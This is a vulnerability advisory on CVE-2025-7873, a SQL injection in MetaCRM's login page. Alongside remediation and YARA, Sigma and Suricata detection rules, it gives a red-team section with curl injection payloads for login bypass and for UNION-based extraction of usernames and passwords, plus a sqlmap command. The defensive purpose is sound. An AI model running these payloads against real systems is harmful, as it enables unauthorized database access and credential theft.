CVE-2025-7873

Executive Summary

CVE-2025-7873 is a critical SQL injection vulnerability discovered in Metasoft 美特软件 MetaCRM, affecting versions up to 6.4.2. The flaw resides in the mcc_login.jsp file, where the workerid argument is improperly sanitized, allowing an unauthenticated remote attacker to inject arbitrary SQL commands. This can lead to unauthorized data access, modification, or deletion of the CRM database. The vendor was contacted but did not respond, and a public proof-of-concept (PoC) exploit has been released, increasing the risk of active exploitation. The EPSS score is currently 0.0%, indicating low exploitation likelihood at this time, but the public disclosure warrants immediate attention.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector (AV): Network – exploitable remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): None – no authentication needed.
• User Interaction (UI): None – no user action required.
• Scope (S): Unchanged – impact confined to the vulnerable component.
• Confidentiality (C): Low – limited data exposure possible.
• Integrity (I): Low – limited data modification possible.
• Availability (A): Low – limited service disruption possible.

Threat Level: High due to public exploit availability and lack of vendor patch. The medium CVSS score reflects limited impact, but the ease of exploitation and potential for data breach elevate the risk.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the login page of MetaCRM. The mcc_login.jsp page accepts a workerid parameter, likely used for employee authentication or session management. The application fails to sanitize or parameterize this input before constructing SQL queries, allowing an attacker to inject malicious SQL statements.

Attack Flow:

1. The attacker sends a crafted HTTP request to the vulnerable endpoint, e.g., POST /mcc_login.jsp with workerid=1' OR '1'='1.
2. The application concatenates this input directly into a SQL query, such as SELECT * FROM users WHERE workerid = '1' OR '1'='1'.
3. The injected condition OR '1'='1' always evaluates to true, potentially bypassing authentication or extracting data.
4. The attacker can then use UNION-based or blind SQL injection techniques to enumerate database tables, extract credentials, or modify records.

Root Cause: Lack of input validation and failure to use prepared statements or parameterized queries.

Vulnerable vs. Patched Code

Since no official patch is available, the following illustrates the vulnerable pattern and a secure alternative.

Vulnerable Code (Java/JSP):

String workerid = request.getParameter("workerid");
String query = "SELECT * FROM employees WHERE workerid = '" + workerid + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

Patched Code (Using PreparedStatement):

String workerid = request.getParameter("workerid");
String query = "SELECT * FROM employees WHERE workerid = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, workerid);
ResultSet rs = pstmt.executeQuery();

The patched version uses parameterized queries, which separate SQL logic from data, preventing injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable MetaCRM instance (version <= 6.4.2).
• Network access to the target.

Exploitation Steps:

1. Identify the endpoint: Use Shodan or manual browsing to find mcc_login.jsp.
2. Craft injection payload: Send a POST request with workerid parameter containing SQL injection.

   curl -X POST "http://target/mcc_login.jsp" -d "workerid=1' OR '1'='1' --"
   

3. Extract data: Use UNION-based injection to retrieve database contents.

   curl -X POST "http://target/mcc_login.jsp" -d "workerid=1' UNION SELECT username,password FROM users --"
   

4. Automate with SQLMap:

   sqlmap -u "http://target/mcc_login.jsp" --data="workerid=1" --batch --dbs
   

Lab Setup:

• Deploy a vulnerable MetaCRM instance in a sandboxed environment (e.g., Docker).
• Use Burp Suite or OWASP ZAP to intercept and modify requests.

Blue Team (Defensive)

Detection:

• Monitor for unusual SQL error messages in application logs.
• Look for HTTP requests containing SQL keywords (e.g., UNION, SELECT, OR) in the workerid parameter.
• Use WAF rules to block common SQL injection patterns.

Hunting:

• Search for workerid parameter in web server logs with suspicious values.
• Correlate with database query logs for unexpected queries.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /mcc_login.jsp with workerid containing SQL syntax (e.g., ', OR, UNION).
  • Outbound database connections from the web server to unusual IPs (data exfiltration).
• File IOCs:
  • Modified mcc_login.jsp file (if attacker uploaded a webshell).
  • Suspicious files in the web root (e.g., cmd.jsp, shell.jsp).
• Log IOCs:
  • Database error logs showing SQL syntax errors.
  • Web server logs with repeated failed login attempts.

Detection Engineering

YARA Rule

rule CVE_2025_7873_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting MetaCRM mcc_login.jsp"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-7873"
    strings:
        $s1 = "workerid=" nocase
        $s2 = "' OR " nocase
        $s3 = "UNION SELECT" nocase
        $s4 = "1=1" nocase
    condition:
        any of ($s1) and any of ($s2, $s3, $s4)
}

Sigma Rule

title: SQL Injection Attempt Against MetaCRM mcc_login.jsp
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts in workerid parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "workerid="
        cs-uri-query|contains|all:
            - "'"
            - "OR"
            - "1=1"
    condition: selection
falsepositives:
    - Legitimate use of single quotes in workerid (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-7873 SQL Injection Attempt"; flow:to_server; content:"workerid="; nocase; content:"'"; distance:0; within:100; content:"OR"; distance:0; within:100; content:"1=1"; distance:0; within:100; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate vulnerable systems: If possible, disconnect MetaCRM from the internet or restrict access via firewall.
2. Apply virtual patching: Use a Web Application Firewall (WAF) to block SQL injection patterns in the workerid parameter.
3. Monitor logs: Actively review web and database logs for signs of exploitation.

Long-term Fixes:

1. Upgrade: Contact Metasoft for a patched version or migrate to a supported CRM solution.
2. Code fix: Implement parameterized queries in mcc_login.jsp as shown in the patched code section.
3. Input validation: Add server-side validation to reject non-alphanumeric characters in workerid.
4. Least privilege: Ensure the database user used by the application has minimal permissions.

Workaround:

• Modify the application to use a whitelist of allowed workerid values (e.g., numeric only).

Valters IT